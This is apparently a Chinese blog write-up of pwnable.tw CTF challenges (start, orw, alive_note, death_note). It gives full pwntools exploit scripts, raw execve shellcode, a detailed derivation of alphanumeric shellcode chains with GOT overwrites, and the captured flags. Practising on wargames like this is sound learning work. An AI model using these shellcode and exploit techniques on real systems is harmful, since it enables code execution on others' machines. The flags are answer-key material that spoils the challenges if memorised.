0%

pwnable.tw刷题记录

pwnable.tw刷题记录

start

序言

第一关,我都不会,题目果真硬核,我看得懂栈溢出,但不知道怎么利用,想jmp esp,发觉没有这个ropgadget,后面卡死了,

利用过程

而大佬们总是非常优秀,看到了push esp,这里的话,esp存在了栈里,所以这题是故意这么出的,然后通过返回到mov ecx,esp处,泄露esp,泄露esp后,往esp处写执行代码,到时候ret 的时候,就是将esp处代码进行执行了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = 'chall.pwnable.tw'
port = 10000
context.log_level = 'debug'
exe = './1'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: No RELRO
# Stack: No canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
offset = 0x14
payload = flat([
'a'*offset,
0x08048087
])
ga()
sa("Let's start the CTF:", payload)
addr = uu32(r(4))
lg("addr", addr)
shellcode = '\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
payload = flat([
'a'*offset,
p32(addr+offset),
shellcode
])
sl(payload)

ia()
if __name__ == '__main__':
exp(host,)

flag

FLAG{Pwn4bl3_tW_1s_y0ur_st4rt}

orw

这题我知道,看过,上次手写orw的shellcode的时候就搜到他了,拿我上次shellcode测试下

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 0
host = 'chall.pwnable.tw'
port = 10001
context.log_level = 'debug'
exe = './2'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
# RWX: Has RWX segments



def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
shellcode = shellcraft.open('/home/orw/flag')
shellcode += shellcraft.read('eax','esp', 0x30)
shellcode += shellcraft.write(1, 'esp', 0x30)
sl(asm(shellcode))
ia()
if __name__ == '__main__':
exp(host,)

flag

FLAG{sh3llc0ding_w1th_op3n_r34d_writ3}

calc

较麻烦,先过

alive_note

漏洞利用

自己利用还是不会,我感觉这题比那个note-service2难多了,讲真,这题考的纯字母数字shellcode在加上shellcode链构造,这是目前我遇到的最难的shellcode题目了

照着shellcode分析一遍,将过程梳理下

整体思路是通过构造shellcode链, 然后read(0,heap,size),读入shellcode执行, 这样就可以有非限制字符了

数字字母汇编代码,大佬总结的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
1.数据传送:
push/pop eax…
pusha/popa

2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]

3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]

xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]

4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]

5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable

<=> jmp lable

6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax

7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0

push esi
push esp
pop eax
xor [eax], esi ; esi = 0
  1. 确认需要读取的heap,我们可以将heap设置为我们已执行过的shellcode链的堆块,也就是说执行前的堆块都行,我们就用第1个堆块
  2. 我们要执行int 80软中断,read是eax=3,ebx=0,ecx=heap,edx=size
  3. 首先我们可以获得的是ecx,因为free调用的时候会传入heap地址,所以第一步设置ecx,这里经过测试发觉free的堆块地址会放到eax里,同时还有空闲字节设置edx=size
1
2
3
4
5
6
push eax 
pop ecx
push 0x7a
pop edx
push ebx
jne 0x3a #因为跳到0x38处,要减去2,指令长度为2

发觉jne的0x不好选,因为题目有限制,看限制

顺序: 1->5->2->6->4

1
['0x0', '0x20', '0x30', '0x31', '0x32', '0x33', '0x34', '0x35', '0x36', '0x37', '0x38', '0x39', '0x41', '0x42', '0x43', '0x44', '0x45', '0x46', '0x47', '0x48', '0x49', '0x4a', '0x4b', '0x4c', '0x4d', '0x4e', '0x4f', '0x50', '0x51', '0x52', '0x53', '0x54', '0x55', '0x56', '0x57', '0x58', '0x59', '0x5a', '0x61', '0x62', '0x63', '0x64', '0x65', '0x66', '0x67', '0x68', '0x69', '0x6a', '0x6b', '0x6c', '0x6d', '0x6e', '0x6f', '0x70', '0x71', '0x72', '0x73', '0x74', '0x75', '0x76', '0x77', '0x78', '0x79', '0x7a']

所以我们选的常数要在这个范围里面,0x7a就是因为他是最大的,所以我们就选了edx为0x7a,最好选的就是0x38左右,为什么,我第一个shellcode长度为8

1
2
3
4
5
6
0x0:	0x00000000	0x00000011	0x31000000	0x00000000 #堆块1完成
0x10: 0x00000000 0x00000011 0x32000000 0x00000000
0x20: 0x00000000 0x00000011 0x33000000 0x00000000
0x30: 0x00000000 0x00000011 0x34000000 0x00000000
0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #堆块5完成
0x50: 0x00000000 0x00000011 0x36000000 0x00000000

以这个为例子就是填充到0x10处,所以最小的限制字符就是0x30开头了,那就跳到0x48处,
jne跳转计算为0x48-0x10=0x38,所以第一个跳就是jne 0x3a,因为要-2,这个机器码对应的才是跳0x38

  1. 我跳转到了第5块堆块,然后又要跳回来的话,就要设置大于0x80大小的值(因为0x80前是正数,0x80后才是负数),所以有
1
2
>>> hex(0x18-0x4d & 0xff)
'0xcb'

所以jne 0xcb是我们想要的结果,然后这个对应的机器码为75C9,其实0xcb可以不用计算器算,用吾爱工具跳转指令计算器0.4b计算的我是,找了好久才用他,输入0x4d和0x18 就出来了,接下来将C9转换成可见字符,

xor byte ptr[ecx+0x46]

1
2
>>> hex(0x4e-0x8)
'0x46'

是0x46,这里就是计算那个偏移了ecx是堆块0,然后偏移

1
2
3
4
pop eax
dec eax #eax变为0xffffffff
xor byte ptr[ecx+0x46],al #合起来5个字节 0x46上面刚计算
jne 0xcb # 这里是75C9,转变C9与0xff异或为0x36所以最终为7536
1
2
3
4
5
6
0x0:	0x00000000	0x00000011	0x31000000	0x00000000 #1完成
0x10: 0x00000000 0x00000011 0x32000000 0x00000000
0x20: 0x00000000 0x00000011 0x33000000 0x00000000
0x30: 0x00000000 0x00000011 0x34000000 0x00000000
0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成
0x50: 0x00000000 0x00000011 0x36000000 0x00000000
  1. 接下来本应该是第2块堆块了

参数已经设置好了,现在最主要要构造int 0x80了,所以就是xor变成int 0x80

我们将int 0x80放在最后一个执行的堆块里,就是第4块堆块,所以还是得先设置第四块

  1. 设置第四块

参数还要设置eax为0x3,所以先将eax变为0,

1
2
3
4
pop eax
xor al,0x33
xor al,0x30 #5个字节
int 0x80 #本来是\xcd\x80,两个都不可见,所以要将其变为可见,回到第二块堆块
1
2
3
4
5
6
0x0:	0x00000000	0x00000011	0x31000000	0x00000000 #1完成
0x10: 0x00000000 0x00000011 0x32000000 0x00000000
0x20: 0x00000000 0x00000011 0x33000000 0x00000000
0x30: 0x00000000 0x00000011 0x34000000 0x00000000 #4完成
0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成
0x50: 0x00000000 0x00000011 0x36000000 0x00000000
  1. 再次回到第二块堆块
1
2
3
4
xor al,0x46 #al=0xb9
xor byte ptr[ecx+0x35],al
push ebx #为第四块的pop eax做准备
jne 0x3a #同理跳到第六块去
1
2
3
4
pop eax
xor al,0x33
xor al,0x30 #5个字节
int 0x80 #现在变成\x74\x80
1
2
3
4
5
6
0x0:	0x00000000	0x00000011	0x31000000	0x00000000 #1完成
0x10: 0x00000000 0x00000011 0x32000000 0x00000000 #2完成
0x20: 0x00000000 0x00000011 0x33000000 0x00000000
0x30: 0x00000000 0x00000011 0x34000000 0x00000000 #4完成
0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成
0x50: 0x00000000 0x00000011 0x36000000 0x00000000
  1. 第六块堆块了

先将堆块4改了

1
2
3
xor byte ptr[ecx+0x36],al  #int 0x80设置好了,3个字节
xor byte ptr[ecx+0x57],al # 在三个字节,将d8转化 0x5f-0x8
jne 0xda #0x5e跳到0x38, 原机器码75d8,d8转为61,所以变为7561
1
2
3
4
pop eax
xor al,0x33
xor al,0x30 #5个字节
int 0x80 #现在变成\x74\x39
1
2
>>> hex(0xb9^0x80)
'0x39'
1
2
3
4
5
6
0x0:	0x00000000	0x00000011	0x31000000	0x00000000 #1完成
0x10: 0x00000000 0x00000011 0x32000000 0x00000000 #2完成
0x20: 0x00000000 0x00000011 0x33000000 0x00000000 #3随便填充就好
0x30: 0x00000000 0x00000011 0x34000000 0x00000000 #4完成
0x40: 0x00000000 0x00000011 0x35000000 0x00000000 #5完成
0x50: 0x00000000 0x00000011 0x36000000 0x00000000 #6完成
  1. 将这些汇编代码转为可见字符,这里我用ollydbg加跳转指令计算器

第一段:

1
2
>>> p64(0x3875535a7a6a5950)
'PYjzZSu8'

PYjzZSu8

第二段:

1
2
>>> p64(0x3875533541304634)
'4F0A5Su8'

4F0A5Su8

第三段: 随便

第四段:

1
2
>>> p64(0x39743034333458)
'X4340t9\x00'

X4340t9

第五段:

1
2
>>> p64(0x36754641304858)
'XH0AFu6\x00'

XH0AFu6

第六段:

1
2
>>> p64(0x6175574130364130)
'0A60AWua'

PYjzZSu8
4F0A5Su8
11111111
X4340t9
XH0AFu6
0A60AWua

  1. 做完这些过后,填充前面的,然后shellcode就行,位置0x38+7-0x8=0x37

所以就是’a’*0x37 + asm(shellcraft.sh())

执行过程

至于执行过程呢,free(offset),然后就开始执行free_got表里的shellcode,也就是offset处的shellcode,接着跳来跳去就完成了

还有就是没必要跟我一样挑难的来,网上好多大佬都是中间用三个堆块填充,这样跳转不用计算来计算去,那样好算点,我是为了复习汇编加理解原理搞复杂的

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1'
port = 10000
#context.log_level = 'debug'
exe = './alive_note'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
# RWX: Has RWX segments

def fuzz(char):
new(0, char)
show(0)
print(rl())

List = [0, 32, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122]
List = [chr(i) for i in List]

def checkPayload(payload):
for i in payload:
if i in List:
return False
return True

def c(idx):
sla(":", idx)

def new(idx, name):
c(1)
sla(":", idx)
if checkPayload(name):
print("payload is wrong")
exit(0)
else:
sla(":", name)

def show(idx):
c(2)
sla(":", idx)

def delete(idx):
c(3)
sla(":", idx)


def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
'''
PYjzZSu8
4F0A5Su8
11111111
X4340t9
XH0AFu6
0A60AWua
'''
# offset = free_got - heap
offset = (0x0804a014-0x0804A080)/4
ga("b *0x080488DC\n c\nn 4\ndelete\ns\n")
new(offset, 'PYjzZSu8')
new(0, '4F0A5Su8')
new(1, '11111111')
new(2, 'X4340t9')
new(3, 'XH0AFu6')
new(4, '0A60AWua')
delete(offset)
s(0x37*'a' + asm(shellcraft.sh()))
#ga()

ia()
if __name__ == '__main__':

# fuzz the input name
'''
List = []
for i in range(0, 128):
try:
fuzz(chr(i))
io.close()
List.append(i)
except Exception as e:
print(e)
finally:
io = process(exe)
print(List)
'''
exp(host,)

death_note

做完alive_note来做这道,看了下,难度比上一题确实简单了一些,上一题手写shellcode跳转链条,真的麻烦,这题直接0x50字节的shellcode执行就行,还是改got表,然后手写汇编就ok了

构造shellcode思路

首先得明白我们应该要什么样的结果

1
2
3
4
eax=0xb
ecx=0
ebx= /bin/sh地址
edx = 0

然后开始构造

  1. 先用shellcraft.sh()生成shellcode,发觉还是有可取之处,我们将push /bin/sh部分取出来就好了
1
2
>>> asm(shellcraft.sh())
'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'
1
2
3
4
push 0x68
push 0x732f2f2f
push 0x6e69622f
mov ebx, esp

然后修改代码,mov ebx,esp改成push esp, pop ebx

1
2
3
4
5
push 0x68 #push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
  1. 我free的时候会传进来heap地址,所以我们初始地址存在了eax里,记得保存,还有传进来同时ecx=0xa,edx=0,这些都是可以利用的,构造eax=0xb
1
2
3
4
push ecx
pop eax
xor al,0x41
xor al,0x40

同时,这段代码可以作为滑板,一直执行

  1. 构造ecx=0
1
2
push edx
pop ecx
  1. 最主要要构造int 0x80,先将前面的shellcode拼接起来,具体怎么个顺序可以自行调整,不过要清楚寄存器没有被破坏

我构造了这样的顺序

1
2
3
4
5
6
7
8
9
10
11
push ecx
pop eax
xor al,0x41
xor al,0x40
push edx
pop ecx
push 0x68 #push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx

最前面来构造int 0x80,因为此时堆块地址还未被破坏,

1
2
3
4
5
6
7
8
push eax #堆块地址
pop ebx #保存堆块地址到ebx
push edx
pop eax
dec eax #构造0xff
xor al,0x46 #al = 0xb9
xor byte ptr[ebx+0x35],al #set int 0x80
xor byte ptr[ebx+0x36],al

这里要注意的是ebx+0x35这是我自行构造出来的,通过这一段当作滑板,构造出可见字符常数

1
2
3
4
push ecx
pop eax
xor al,0x41
xor al,0x40

所以最后就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
push eax #堆块地址
pop ebx #保存堆块地址到ebx
push edx
pop eax
dec eax #构造0xff
xor al,0x46 #al = 0xb9
xor byte ptr[ebx+0x35],al #set int 0x80
xor byte ptr[ebx+0x36],al
push ecx
pop eax
xor al,0x41
xor al,0x40
push ecx
pop eax
xor al,0x41
xor al,0x40
push ecx
pop eax
xor al,0x41
xor al,0x40
push ecx
pop eax
xor al,0x41
xor al,0x40
push edx
pop ecx
push 0x68 #push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx

最后加上’\x74\x39’这个,拿来构造int 0x80的,就好了

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
from pwn import *

local = 1
host = '127.0.0.1'
port = 10000
context.log_level = 'debug'
exe = './death_note'
# Load it if has exe
try:
context.binary = exe
elf = ELF(exe)
except Exception as e:
print("Elf can't be load")

# load libc
libc = elf.libc if context.binary else ELF("./libc.so.6")


if local:
io = process(exe)
else:
io = remote(host,port, timeout=10)
#don't forget to change it
s = lambda data : io.send(str(data))
sa = lambda delim,data : io.sendafter(str(delim), str(data))
sl = lambda data : io.sendline(str(data))
sla = lambda delim,data : io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 : io.recv(numb)
rl = lambda : io.recvline()
ru = lambda delim,drop=True : io.recvuntil(delim, drop)
rg = lambda regex : io.recvregex(regex)
rp = lambda timeout=1 : io.recvrepeat(timeout)
uu32 = lambda data : u32(data.ljust(4, '\x00'))
uu64 = lambda data : u64(data.ljust(8, '\x00'))
lg = lambda s,addr : io.success('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
ga = lambda job="" : gdb.attach(io, job) if local else 0
ia = lambda : io.interactive()

# break on aim addr
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(io.pid)).readlines()[1], 16)
ga('b *{}'.format(hex(text_base+addr)))
else:
ga("b *{}".format(hex(addr)))

# get_one_gadget
def get_one_gadget(filename):
return map(int, os.popen("one_gadget --raw " + filename).readlines()[0].split(' '))

#===========================================================
# EXPLOIT GOES HERE
#===========================================================
# Arch: i386-32-little
# RELRO: Partial RELRO
# Stack: Canary found
# NX: NX disabled
# PIE: No PIE (0x8048000)
# RWX: Has RWX segments

def c(idx):
sla(":", idx)

def new(idx, content):
c(1)
sla(":", idx)
sla(":", content)

def delete(idx):
c(3)
sla(":", idx)


def exp(host, rce=False):
if rce:
one_gadget = get_one_gadget(libc.path)

#start here
offset = (elf.got['free']-0x0804A060)/4
#ga("b *0x8048865\nc\nn 4\ns")
shellcode = asm('''
push eax
pop ebx #保存指针
push edx
pop eax
dec eax
xor al,0x46
xor byte ptr[ebx+0x35],al #set int 0x80
xor byte ptr[ebx+0x36],al
push ecx #这里作为滑板,填充数据
pop eax
xor al, 0x41
xor al, 0x40
push ecx
pop eax
xor al, 0x41
xor al, 0x40
push ecx
pop eax
xor al, 0x41
xor al, 0x40
push ecx # set al=0xb
pop eax
xor al, 0x41
xor al, 0x40
push edx # set ecx=0
pop ecx
push 0x68 # push /bin/sh
push 0x732f2f2f
push 0x6e69622f
push esp
pop ebx
''')
lg("len", len(shellcode))
shellcode += '\x74\x39'
new(offset, shellcode)
delete(offset)

ia()
if __name__ == '__main__':
exp(host,)

本文作者:NoOne
本文地址https://noonegroup.xyz/posts/1b0e37dd/
版权声明:转载请注明出处!